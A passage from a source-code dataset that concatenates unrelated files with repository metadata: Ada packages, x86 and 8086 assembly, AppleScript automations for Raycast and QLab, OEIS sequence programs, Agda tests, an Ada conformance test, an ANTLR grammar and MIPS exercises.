GPIO_Pull_Resistor); overriding function Set (This : Wire_Point) return Boolean; overriding procedure Set (This : in out Wire_Point); overriding procedure Clear (This : in out Wire_Point); overriding procedure Toggle (This : in out Wire_Point); type Wire_Point_Array is array (Natural range <>) of aliased Wire_Point; type Virtual_Wire (Default_Pull : GPIO_Pull_Resistor; Max_Points : Positive) is tagged limited record State : Wire_State := (case Default_Pull is when Pull_Down => Low, when Pull_Up => High, when Floating => Unknown); Points : aliased Wire_Point_Array (1 .. Max_Points); end record; procedure Update_Wire_State (This : in out Virtual_Wire); function At_Least_One_Output (This : Virtual_Wire) return Boolean; -- Return True if at least one GPIO point is configured as output function At_Least_One_Pull_Up (This : Virtual_Wire) return Boolean; -- Return True if at least one GPIO point is configured as pull up function At_Least_One_Pull_Down (This : Virtual_Wire) return Boolean; -- Return True if at least one GPIO point is configured as pull down end Wire_Simulation;
SourceCode/aad.asm
Nuthi-Sriram/Assembly-Level-Code-for-8086
0
102198
<reponame>Nuthi-Sriram/Assembly-Level-Code-for-8086 .model small .stack .data .code .startup ;mov ah,5h ;mov al,8h mov ax,0508h aad end
mc-sema/validator/x86_64/tests/ILD_F64m.asm
randolphwong/mcsema
2
22157
<reponame>randolphwong/mcsema BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; ILD_F64m ;TEST_BEGIN_RECORDING lea rdi, [rsp-0x10] mov DWORD [rdi], 0x00001 mov DWORD [rdi+4], 0x10001 fild QWORD [rdi] mov rdi, 0x0 ;TEST_END_RECORDING
dowload_manager/src/download_manager.ads
persan/AWS-producer-experiments
2
15994
with AWS.Response; with AWS.Server; with AWS.Services.Dispatchers.Linker; with AWS.Services.Dispatchers.URI; with AWS.Status; with AWS.Config; with AWS.Resources.Streams; with Ada.Streams; with AWS.Resources.Streams.Memory; package Download_Manager is use AWS; use Ada.Streams; function CB (Request : Status.Data) return Response.Data; procedure Create_Filename; Filename : constant String := "dm_file.data"; URI : Services.Dispatchers.URI.Handler; Handler : Services.Dispatchers.Linker.Handler; Conf : Config.Object := Config.Get_Current; WS : Server.HTTP; type Pump_Stream is limited new AWS.Resources.Streams.Memory.Stream_Type with private; procedure Open (S : in out Pump_Stream); overriding function End_Of_File (Resource : Pump_Stream) return Boolean; overriding procedure Read (Resource : in out Pump_Stream; Buffer : out Stream_Element_Array; Last : out Stream_Element_Offset); overriding procedure Close (Resource : in out Pump_Stream); overriding procedure Reset (Resource : in out Pump_Stream) is null; overriding procedure Set_Index (Resource : in out Pump_Stream; To : Stream_Element_Offset) is null; private not overriding procedure Real_Read (Resource : in out Pump_Stream; Buffer : out Stream_Element_Array; Last : out Stream_Element_Offset); type Pump_Stream is limited new AWS.Resources.Streams.Memory.Stream_Type with record Is_Open : Boolean := False; end record; end;
src/colors.asm
JoeyCluett/game-jam-beat-the-boredom
0
15567
; ; as per the System-V ABI, registers are allocated in the order: ; rdi, rsi, rdx, rcx, r8, r9 ; extern SDL_MapRGB global setup_colors global color_lut_begin global color_lut_end global white global black global maroon global red global orange global yellow global olive global purple global fuschia global lime global green global navy global blue global aqua global silver global gray global brown global gold global darkbrown global beige section .data section .bss color_lut_begin: white: resd 2 black: resd 2 maroon: resd 2 red: resd 2 orange: resd 2 yellow: resd 2 olive: resd 2 purple: resd 2 fuschia: resd 2 lime: resd 2 green: resd 2 navy: resd 2 blue: resd 2 aqua: resd 2 silver: resd 2 gray: resd 2 brown: resd 2 gold: resd 2 darkbrown: resd 2 beige: resd 2 color_lut_end: section .text ; 0: white ; 1: black ; 2: maroon ; 3: red ; 4: orange ; 5: yellow ; 6: olive ; 7: purple ; 8: fuschia ; 9: lime ; 10: green ; 11: navy ; 12: blue ; 13: aqua ; 14: silver ; 15: gray ; 16: brown setup_colors: push rbp ; create stack frame and re-align stack mov rbp, rsp ; ... ; rdi : start of the color array ; rsi : SDL_Surface->format push rdi ; save both of these pieces of information push rsi ; ... ; white 0xFFFFFF mov rdi, [rbp-16] ; format mov rsi, 0xFF ; red mov rdx, 0xFF ; green mov rcx, 0xFF ; blue call SDL_MapRGB ; new color is now in rax mov rdi, [rbp-8] ; get the base pointer for the color array mov [rdi], DWORD eax ; store generated color add rdi, 4 ; advance pointer to next color entry mov [rbp-8], rdi ; replace old pointer with new pointer ; SDL_gfxPrimitives library needs different color format: mov [rdi], DWORD 0xFFFFFFFF ; RGBA add rdi, 4 ; advance pointer mov [rbp-8], rdi ; store new pointer ; black 0x000000 mov rdi, [rbp-16] mov rsi, 0x00 mov rdx, 0x00 mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x000000FF add rdi, 4 mov [rbp-8], rdi ; maroon 0x800000 mov rdi, [rbp-16] mov rsi, 0x80 mov rdx, 0x00 mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x800000FF add rdi, 4 mov [rbp-8], rdi ; red 0xFF0000 mov rdi, [rbp-16] mov rsi, 0xFF mov rdx, 0x00 mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0xFF0000FF add rdi, 4 mov [rbp-8], rdi ; orange 0xFFA500 mov rdi, [rbp-16] mov rsi, 0xFF mov rdx, 0xA5 mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0xFFA500FF add rdi, 4 mov [rbp-8], rdi ; yellow 0xFFFF00 mov rdi, [rbp-16] mov rsi, 0xFF mov rdx, 0xFF mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0xFFFF00FF add rdi, 4 mov [rbp-8], rdi ; olive 0x808000 mov rdi, [rbp-16] mov rsi, 0x80 mov rdx, 0x80 mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x808000FF add rdi, 4 mov [rbp-8], rdi ; purple 0x800080 mov rdi, [rbp-16] mov rsi, 0x80 mov rdx, 0x00 mov rcx, 0x80 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x800080FF add rdi, 4 mov [rbp-8], rdi ; fuscia 0xFF00FF mov rdi, [rbp-16] mov rsi, 0xFF mov rdx, 0x00 mov rcx, 0xFF call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0xFF00FFFF add rdi, 4 mov [rbp-8], rdi ; lime 0x00FF00 mov rdi, [rbp-16] mov rsi, 0x00 mov rdx, 0xFF mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x00FF00FF add rdi, 4 mov [rbp-8], rdi ; green 0x008000 mov rdi, [rbp-16] mov rsi, 0x00 mov rdx, 0x80 mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x008000FF add rdi, 4 mov [rbp-8], rdi ; navy 0x000080 mov rdi, [rbp-16] mov rsi, 0x00 mov rdx, 0x00 mov rcx, 0x80 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x000080FF add rdi, 4 mov [rbp-8], rdi ; blue 0x0000FF mov rdi, [rbp-16] mov rsi, 0x00 mov rdx, 0x00 mov rcx, 0xFF call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x0000FFFF add rdi, 4 mov [rbp-8], rdi ; aqua 0x00FFFF mov rdi, [rbp-16] mov rsi, 0x00 mov rdx, 0xFF mov rcx, 0xFF call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x00FFFFFF add rdi, 4 mov [rbp-8], rdi ; silver 0xC0C0C0 mov rdi, [rbp-16] mov rsi, 0xC0 mov rdx, 0xC0 mov rcx, 0xC0 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0xC0C0C0FF add rdi, 4 mov [rbp-8], rdi ; gray 0x808080 mov rdi, [rbp-16] mov rsi, 0x80 mov rdx, 0x80 mov rcx, 0x80 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x808080FF add rdi, 4 mov [rbp-8], rdi ; brown 0x8B4513 mov rdi, [rbp-16] mov rsi, 0x8B mov rdx, 0x45 mov rcx, 0x13 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x8B4513FF add rdi, 4 mov [rbp-8], rdi ; gold 0xFFDF00 mov rdi, [rbp-16] mov rsi, 0xFF mov rdx, 0xDF mov rcx, 0x00 call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0xFFDF00FF add rdi, 4 mov [rbp-8], rdi ; darkbrown 0x2b1d0e mov rdi, [rbp-16] mov rsi, 0x2B mov rdx, 0x1D mov rcx, 0x0E call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0x2B1D0EFF add rdi, 4 mov [rbp-8], rdi ; beige 0xf5f5dc mov rdi, [rbp-16] mov rsi, 0xf5 mov rdx, 0xf5 mov rcx, 0xdc call SDL_MapRGB mov rdi, [rbp-8] mov [rdi], DWORD eax add rdi, 4 mov [rbp-8], rdi ; gfxP mov [rdi], DWORD 0xf5f5dcFF add rdi, 4 mov [rbp-8], rdi mov rsp, rbp pop rbp ret
commands/basecamp/assignments.applescript
jdmcd/script-commands
0
4571
#!/usr/bin/osascript # Required parameters: # @raycast.schemaVersion 1 # @raycast.title Basecamp Assignments # @raycast.mode silent # Optional parameters: # @raycast.icon https://basecamp.com/favicon-32x32.png tell application "Basecamp 3" to activate tell application "System Events" keystroke "j" using command down delay 0.1 keystroke "My Assignments" keystroke return end tell
src/tom/library/sl/ada/choicestrategy.adb
rewriting/tom
36
20031
<filename>src/tom/library/sl/ada/choicestrategy.adb with VisitFailurePackage, VisitablePackage, EnvironmentPackage; use VisitFailurePackage, VisitablePackage, EnvironmentPackage; with Ada.Text_IO; use Ada.Text_IO; package body ChoiceStrategy is ---------------------------------------------------------------------------- -- Object implementation ---------------------------------------------------------------------------- overriding function toString(c: Choice) return String is begin return "Choice()"; end; ---------------------------------------------------------------------------- -- Strategy implementation ---------------------------------------------------------------------------- overriding function visitLight(str:access Choice; any: ObjectPtr; i: access Introspector'Class) return ObjectPtr is optr : ObjectPtr := null; begin optr := visitLight(StrategyPtr(str.arguments(FIRST)), any, i); return optr; exception when VisitFailure => return visitLight(StrategyPtr(str.arguments(SECOND)), any, i); end; overriding function visit(str: access Choice; i: access Introspector'Class) return Integer is subject : ObjectPtr := null; status : Integer := 0; begin subject := getSubject(str.env.all); status := visit(StrategyPtr(str.arguments(FIRST)), i); if status = EnvironmentPackage.SUCCESS then return status; else setSubject(str.env.all, subject); return visit(StrategyPtr(str.arguments(SECOND)), i); end if; end; ---------------------------------------------------------------------------- procedure makeChoice(c : in out Choice; first, second: StrategyPtr) is begin initSubterm(c, first, second); end; function make(first, second: StrategyPtr) return StrategyPtr is begin if second = null then return first; else return newChoice(first, second); end if; end; function newChoice(first, second: StrategyPtr) return StrategyPtr is ret : StrategyPtr := new Choice; begin makeChoice(Choice(ret.all), first, second); return ret; end; ---------------------------------------------------------------------------- end ChoiceStrategy;
Routing/Set crosspoints to template.applescript
bsmith96/Qlab-Scripts
1
3005
-- @description Set crosspoints to template -- @author <NAME> -- @link bensmithsound.uk -- @version 2.1 -- @testedmacos 10.14.6 -- @testedqlab 4.6.10 -- @about Set the crosspoints of the selected cue to match a selected template cue -- @separateprocess TRUE -- @changelog -- v2.1 + will now correctly set crosspoints where they are ganged differently to the selected routing -- v2.0 + moved common functions to external script -- v1.5 + works with videos as well -- v1.4 + allows assignment of UDVs from the script calling this one -- v1.3 + Added error catching -- USER DEFINED VARIABLES ----------------- try -- if global variables are given when this script is called by another, use those variables variableCueListName on error set variableCueListName to "Other scripts & utilities" -- cue list containing Script Variables end try try templateCueListName on error set templateCueListName to "Other scripts & utilities" -- cue list containing template cues end try try templateGroupCueName on error set templateGroupCueName to "Crosspoints routing templates" -- group cue containing all template cues end try ---------- END OF USER DEFINED VARIABLES -- -- VARIABLES FROM QLAB NOTES -------------- tell application id "com.figure53.Qlab.4" to tell front workspace set audioChannelCount to notes of (first cue of (first cue list whose q name is variableCueListName) whose q name is "Output channel count") -- total number of Qlab output end tell ------------------ END OF QLAB VARIABLES -- property util : script "Applescript Utilities" ---- RUN SCRIPT --------------------------- tell application id "com.figure53.Qlab.4" to tell front workspace set containerList to (first cue list whose q name is templateCueListName) set containerCue to first cue in containerList whose q name is templateGroupCueName set routingTemplates to (cues in containerCue) set routingNames to {} set routingNumbers to {} repeat with eachCue in routingTemplates set end of routingNames to (q name of eachCue) end repeat set selectedCues to (selected as list) -- try to do it automatically try repeat with eachTemplate in routingNames set eachTemplateList to util's splitString((eachTemplate as string), " - ") set inputCountTemplate to item -1 of eachTemplateList as integer set end of routingNumbers to inputCountTemplate end repeat repeat with eachCue in selectedCues set inputCountCue to audio input channels of eachCue set inputCountMatches to {} repeat with eachTemplate from 1 to length of routingTemplates if inputCountCue as integer is equal to (item eachTemplate of routingNumbers as integer) then set end of inputCountMatches to eachTemplate end if end repeat if length of inputCountMatches is 1 then set whatTemplate to item (item 1 of inputCountMatches) of routingNames set whatTemplateCue to (first cue in containerCue whose q name is whatTemplate) set whatTemplateList to util's splitString((whatTemplate as string), " - ") set inputCount to item -1 of whatTemplateList as integer repeat with eachChannel from 1 to audioChannelCount repeat with eachInput from 1 to inputCount set eachGang to getGang eachCue row eachInput column eachChannel if eachGang is missing value then set theLevel to getLevel whatTemplateCue row eachInput column eachChannel setLevel eachCue row eachInput column eachChannel db theLevel else setGang eachCue row eachInput column eachChannel gang "" set theLevel to getLevel whatTemplateCue row eachInput column eachChannel setLevel eachCue row eachInput column eachChannel db theLevel setGang eachCue row eachInput column eachChannel gang eachGang end if end repeat end repeat else error end if end repeat return end try -- end of automatic section set whatTemplate to choose from list routingNames if whatTemplate is false then return end if set whatTemplateCue to first cue in containerCue whose q name is whatTemplate -- Get the number of inputs for the selected routing set whatTemplateList to util's splitString((whatTemplate as string), " - ") -- append the cue name with " - 2" where "2" is the number of cue input channels to affect. ## Only works up to 9 ## try set inputCount to item -1 of whatTemplateList as integer on error return end try repeat with eachCue in selectedCues set cueType to q type of eachCue if cueType is in {"Audio", "Video"} then repeat with eachChannel from 1 to audioChannelCount repeat with eachInput from 1 to inputCount set theLevel to getLevel whatTemplateCue row eachInput column eachChannel setLevel eachCue row eachInput column eachChannel db theLevel end repeat end repeat end if end repeat end tell -- FUNCTIONS ------------------------------ on renameCue(theCue, theTemplate) tell application id "com.figure53.Qlab.4" to tell front workspace set oldName to q display name of theCue set oldNameList to util's splitString(oldName, " | ") set oldName to item 1 of oldNameList set newName to oldName & " | " & theTemplate set q name of theCue to newName end tell end renameCue
sources/md/markdown-blockquotes.adb
reznikmm/markdown
0
9747
<filename>sources/md/markdown-blockquotes.adb -- SPDX-FileCopyrightText: 2020 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ---------------------------------------------------------------- with League.Regexps; with League.Strings; with Markdown.Visitors; package body Markdown.Blockquotes is Prefix : constant League.Regexps.Regexp_Pattern := League.Regexps.Compile (League.Strings.To_Universal_String ("^\ {0,3}\>\ ?")); ---------------------------------- -- Consume_Continuation_Markers -- ---------------------------------- overriding procedure Consume_Continuation_Markers (Self : in out Blockquote; Line : in out Markdown.Blocks.Text_Line; Match : out Boolean) is pragma Unreferenced (Self); Matched : constant League.Regexps.Regexp_Match := Prefix.Find_Match (Line.Line); begin Match := Matched.Is_Matched; if Match then Line.Line := Line.Line.Tail_From (Matched.Last_Index + 1); Line.Column := Line.Column + Matched.Last_Index; end if; end Consume_Continuation_Markers; ------------ -- Create -- ------------ overriding function Create (Line : not null access Markdown.Blocks.Text_Line) return Blockquote is Matched : constant League.Regexps.Regexp_Match := Prefix.Find_Match (Line.Line); begin pragma Assert (Matched.Is_Matched); Line.Line := Line.Line.Tail_From (Matched.Last_Index + 1); Line.Column := Line.Column + Matched.Last_Index; return Result : Blockquote; end Create; ------------ -- Filter -- ------------ procedure Filter (Line : Markdown.Blocks.Text_Line; Tag : in out Ada.Tags.Tag; CIP : out Can_Interrupt_Paragraph) is Matched : constant League.Regexps.Regexp_Match := Prefix.Find_Match (Line.Line); begin if Matched.Is_Matched then Tag := Blockquote'Tag; CIP := True; end if; end Filter; ----------- -- Visit -- ----------- overriding procedure Visit (Self : in out Blockquote; Visitor : in out Markdown.Visitors.Visitor'Class) is begin Visitor.Blockquote (Self); end Visit; end Markdown.Blockquotes;
oeis/349/A349541.asm
neoneye/loda-programs
11
1588
<filename>oeis/349/A349541.asm ; A349541: E.g.f.: exp(x) * (BesselI(0,8*x) + BesselI(1,8*x)). ; Submitted by <NAME> ; 1,5,41,301,2513,20181,170745,1423101,12161441,103344037,889924553,7650373325,66271512433,574065261173,4996181205657,43511277885597,380108373809985,3323551100483397,29122753514303337,255427680480306285,2243831648555990289,19728657265135701525 mov $1,1 mov $3,$0 lpb $3 mul $1,$3 cmp $2,0 add $5,$2 div $1,$5 add $4,$1 mul $1,4 sub $3,1 lpe mov $0,$4 mul $0,4 add $0,1
test/Succeed/Issue1834b.agda
cruhland/agda
1,989
2535
<reponame>cruhland/agda<gh_stars>1000+ -- Andreas & James, 2016-04-18 pre-AIM XXIII -- order of clauses should not matter here! {-# OPTIONS --exact-split #-} open import Common.Equality open import Common.Prelude open import Common.Product thing : Bool → Bool × Bool proj₁ (thing true) = false proj₁ (thing false) = true proj₂ (thing b) = b test : ∀ b → proj₂ (thing b) ≡ b test b = refl
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/ce/ce2108e.ada
best08618/asylo
7
12311
<gh_stars>1-10 -- CE2108E.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT AN EXTERNAL SEQUENTIAL FILE SPECIFIED BY A NON-NULL -- STRING NAME IS ACCESSIBLE AFTER THE COMPLETION OF THE MAIN -- PROGRAM. -- THIS TEST CREATES A SEQUENTIAL FILE; CE2108F.ADA READS IT. -- APPLICABILITY CRITERIA: -- THIS TEST IS APPLICABLE ONLY TO IMPLEMENTATIONS WHICH SUPPORT -- CREATION OF AN EXTERNAL SEQUENTIAL FILE WITH OUT_FILE MODE. -- HISTORY: -- TBN 07/16/87 CREATED ORIGINAL TEST. WITH REPORT; USE REPORT; WITH SEQUENTIAL_IO; PROCEDURE CE2108E IS PACKAGE SEQ IS NEW SEQUENTIAL_IO (INTEGER); INCOMPLETE : EXCEPTION; FILE_NAME : SEQ.FILE_TYPE; PREVENT_EMPTY_FILE : NATURAL := 5; BEGIN TEST ("CE2108E" , "CHECK THAT AN EXTERNAL SEQUENTIAL FILE " & "SPECIFIED BY A NON-NULL STRING NAME IS " & "ACCESSIBLE AFTER THE COMPLETION OF THE MAIN " & "PROGRAM"); BEGIN BEGIN SEQ.CREATE (FILE_NAME, SEQ.OUT_FILE, LEGAL_FILE_NAME); EXCEPTION WHEN SEQ.USE_ERROR => NOT_APPLICABLE ("USE_ERROR RAISED ON SEQUENTIAL " & "CREATE WITH OUT_FILE MODE"); RAISE INCOMPLETE; WHEN SEQ.NAME_ERROR => NOT_APPLICABLE ("NAME_ERROR RAISED ON SEQUENTIAL " & "CREATE WITH OUT_FILE MODE"); RAISE INCOMPLETE; WHEN OTHERS => FAILED ("UNEXPECTED EXCEPTION RAISED ON " & "SEQUENTIAL CREATE"); RAISE INCOMPLETE; END; SEQ.WRITE (FILE_NAME, PREVENT_EMPTY_FILE); SEQ.CLOSE (FILE_NAME); EXCEPTION WHEN INCOMPLETE => NULL; END; RESULT; END CE2108E;
programs/oeis/037/A037951.asm
karttu/loda
1
18399
<gh_stars>1-10 ; A037951: binomial(n,[ (n-3)/2 ]). ; 0,0,0,1,1,5,6,21,28,84,120,330,495,1287,2002,5005,8008,19448,31824,75582,125970,293930,497420,1144066,1961256,4457400,7726160,17383860,30421755,67863915,119759850,265182525 mov $1,$0 div $0,2 add $0,2 bin $1,$0
GoTo/Parser/GoTo.g4
MarcosCobena/GoTo
13
6418
<filename>GoTo/Parser/GoTo.g4 grammar GoTo; // rules must begin with lowercase, specially the first one program : macroDefinition* line* EOF ; macroDefinition : 'MACRO' macro macroBody 'END' ; macro : macroName macroParams ; macroName : WORD | 'GOTO' ; macroParams : ID* ; macroBody : line+ ; line : instruction #UnlabeledLine | '[' label=ID ']' instruction #LabeledLine ; instruction : ID '=' expression #ExpressionInstruction | 'IF' var=ID '!=' '0' 'GOTO' label=ID #ConditionalInstruction | macro #MacroInstruction ; expression : var=ID operator=('+' | '-') '1' # BinaryExpression | var=ID # UnaryExpression ; ID : LETTER DIGIT* ; LETTER : [a-zA-Z] ; WORD : LETTER+ ; DIGIT : [0-9] ; NEWLINE : [\r\n]+ -> channel(HIDDEN) ; WHITESPACE : [ \t]+ -> channel(HIDDEN) ; COMMENT : ';' .*? '\n' -> skip ;
programs/oeis/040/A040195.asm
jmorken/loda
1
24574
<reponame>jmorken/loda ; A040195: Continued fraction for sqrt(210). ; 14,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28,2,28 mov $1,7 lpb $0 mod $0,2 mul $1,2 lpe gcd $1,$0 mul $1,2
test/Succeed/Issue1186.agda
shlevy/agda
1,989
12442
<reponame>shlevy/agda<gh_stars>1000+ -- 2014-08-25 reported by <NAME>, test case shrunk by Ulf, fixed by Andreas and Ulf -- {-# OPTIONS --show-implicit -v tc.cover.splittree:10 -v tc.with:40 -v tc.cc:12 #-} postulate K : Set data SUList : K → Set where cons : ∀ {k} (es : SUList k) → SUList k data Tri : Set where tri< tri> : Tri postulate k : K compareK : Tri dummy : Set es : SUList k diff : SUList k → SUList k → Tri → Set diff (cons _) _ tri< = K diff es₁ (cons es₂) tri> = diff es₁ es₂ compareK test = diff (cons es) (cons es) tri> -- normalizing test -- gives WRONG diff (cons k es) es compareK -- should be diff (cons {k} es) es compareK -- Problem was in the clause compiler -- Trigger the bug: from : (es : SUList k) (c : Tri) → diff (cons es) (cons es) c → Set from es tri< d = K from es tri> d with dummy ... | _ = K -- WAS: -- Expected a hidden argument, but found a visible argument -- when checking that the type -- Set → (es₁ : SUList k) (d : diff (cons k es₁) es₁ compareK) → Set -- of the generated with function is well-formed
examenes/examenpracticas/ejercicios/examen3.asm
ajah1/EC
0
167583
<filename>examenes/examenpracticas/ejercicios/examen3.asm #programa que pide un numero entre 1 y 31 y muestra por pantalla # dos elevado a ese numero, si el numero introducido no esta entre 1 y 31 # salir del programa .data cadena: .asciiz "Introduce un numero entre 1 y 31: " cadenaError: .asciiz "Error. debe estar entre 1 y 31" .text li $v0, 4 la $a0, cadena syscall li $v0, 5 syscall move $t1, $v0 blt $t1, 1, error bgt $t1, 31, error li $t2, 1 sllv $t2, $t2, $t1 li $v0, 1 move $a0, $t2 syscall j fin error: li $v0, 4 la $a0, cadenaError syscall fin:
Structure/Operator/Functions.agda
Lolirofle/stuff-in-agda
6
7694
module Structure.Operator.Functions where import Lvl open import Logic open import Structure.Setoid open import Structure.Operator.Properties open import Type private variable ℓ ℓ₁ ℓ₂ ℓ₃ ℓₑ ℓₑ₁ ℓₑ₂ ℓₑ₃ : Lvl.Level module _ {A : Type{ℓ₁}} {X : Type{ℓ₂}} ⦃ equiv-X : Equiv{ℓₑ₁}(X) ⦄ {Y : Type{ℓ₃}} ⦃ equiv-Y : Equiv{ℓₑ₂}(Y) ⦄ where -- `a` is a element which yields the left identity element in the function `f`. -- (a ∈ kernelₗ(f)) means (f(a) = id). kernelₗ : ∀{_▫_ : X → Y → Y}{id : X} → ⦃ _ : Identityₗ(_▫_)(id) ⦄ → (A → X) → A → Stmt kernelₗ {_}{id} (f)(a) = (f(a) ≡ id) -- `a` is a element which yields the right identity element in the function `f`. -- (a ∈ kernelₗ(f)) means (f(a) = id). kernelᵣ : ∀{_▫_ : Y → X → Y}{id : X} → ⦃ _ : Identityᵣ(_▫_)(id) ⦄ → (A → X) → A → Stmt kernelᵣ {_}{id} (f)(a) = (f(a) ≡ id)
first/calc.asm
dkyopwa/ala_rtree
3
9849
; .data res12 dd 0 res12_1 dd 0 res12_2 dd 0 res12_3 dd 0 res7 dd 0 res7_1 dd 0 res7_2 dd 0 res7_3 dd 0 res2 dd 0 res2_1 dd 0 res2_2 dd 0 res2_3 dd 0 tmp dd 0 tmp_1 dd 0 tmp_2 dd 0 tmp_3 dd 0 .code ; !!! --- current function is only for one thread (distance_sse_v3) --- !!! distance_sse_v4 proc ; load parameters movaps xmm0, xmmword ptr [rcx] ; xmm0 = vec1 movaps xmm1, xmmword ptr [rdx] ; xmm1 = vec2 ; start funstion and load params ; mov qword ptr [rsp+10h],rdx ; mov qword ptr [rsp+8],rcx ; push rbp ; push rdi ; sub rsp,838h ; lea rbp,[rsp+30h] ; mov rdi,rsp ; mov ecx,20Eh ; mov eax,0CCCCCCCCh ; rep stos dword ptr [rdi] ; mov rcx,qword ptr [rsp+858h] ;; mov rax,qword ptr [__security_cookie (07FF62D7EB010h)] ; xor rax,rbp ; mov qword ptr [rbp+7F8h],rax ; __m128 res2 = _mm_movehl_ps(*vec1, *vec1); // px, py, px, py movaps xmm2,xmm0 movhlps xmm2,xmm0 ; xmm2 = res2 movaps xmmword ptr [res2],xmm2 ; store res2 = res2 ; __m128 res1 = _mm_sub_ps(*vec1, *vec2); // where 1 - vx, 2 - vy, 3 - wx(t1(c1)), 4 - wy(t2(c1)) movaps xmm3,xmm0 subps xmm3,xmm1 ; xmm3 = res1 movaps xmm7,xmm3 ; store res1 => mxx7 = res1 ; __m128 res3 = _mm_movelh_ps(res1, res1); // vx, vy, vx, vy movaps xmm4,xmm3 ; store res1 movlhps xmm4,xmm4 ; xmm4 = res3 ; __m128 res4 = _mm_sub_ps(res2, *vec1); // t1(c2), t2(c2), 0(unk), 0(unk) subps xmm2,xmm0 ; xmm2 (res2) = res4 ; __m128 res5 = _mm_mul_ps(res3, res1); // vx*vx, vy*vy, wx*vx, wy*vy mulps xmm4,xmm3 ; xmm4 (res3) = res5 ; __m128 res8 = _mm_shuffle_ps(res1, res4, 78); // for sqrt: t1(c1), t2(c1), t1(c2), t2(c2) shufps xmm3,xmm2,4Eh ; xmm3 (res1) = res8 ; __m128 res6 = _mm_shuffle_ps(res5, res5, 245); // vy*vy, vy*vy, wy*wy, wy*wy movaps xmm5,xmm4 shufps xmm5,xmm5,0F5h ; xmm5 = res6 ; __m128 res9 = _mm_mul_ps(res8, res8); // for sqrt: t1(c1)^2, t2(c1)^2, t1(c2)^2, t2(c2)^2 mulps xmm3,xmm3 ; xmm3 (res8) = res9 ; __m128 res7 = _mm_add_ps(res5, res6); // c1, unk, c2, unk addps xmm4,xmm5 ; xmm4 (res5) = res7 movaps xmmword ptr [res7],xmm4 ; __m128 res10 = _mm_shuffle_ps(res9, res9, 245); // t2(c1)^2, t2(c1)^2, t2(c2)^2, t2(c2)^2 movaps xmm6,xmm3 shufps xmm6,xmm6,0F5h ; xmm6 = res10 ; __m128 res11 = _mm_add_ps(res9, res10); // t1 * t1 + t2 * t2 (c1), unk, t1 * t1 + t2 * t2 (c2), unk addps xmm3,xmm6 ; xmm3 = res11 ; __m128 res12 = 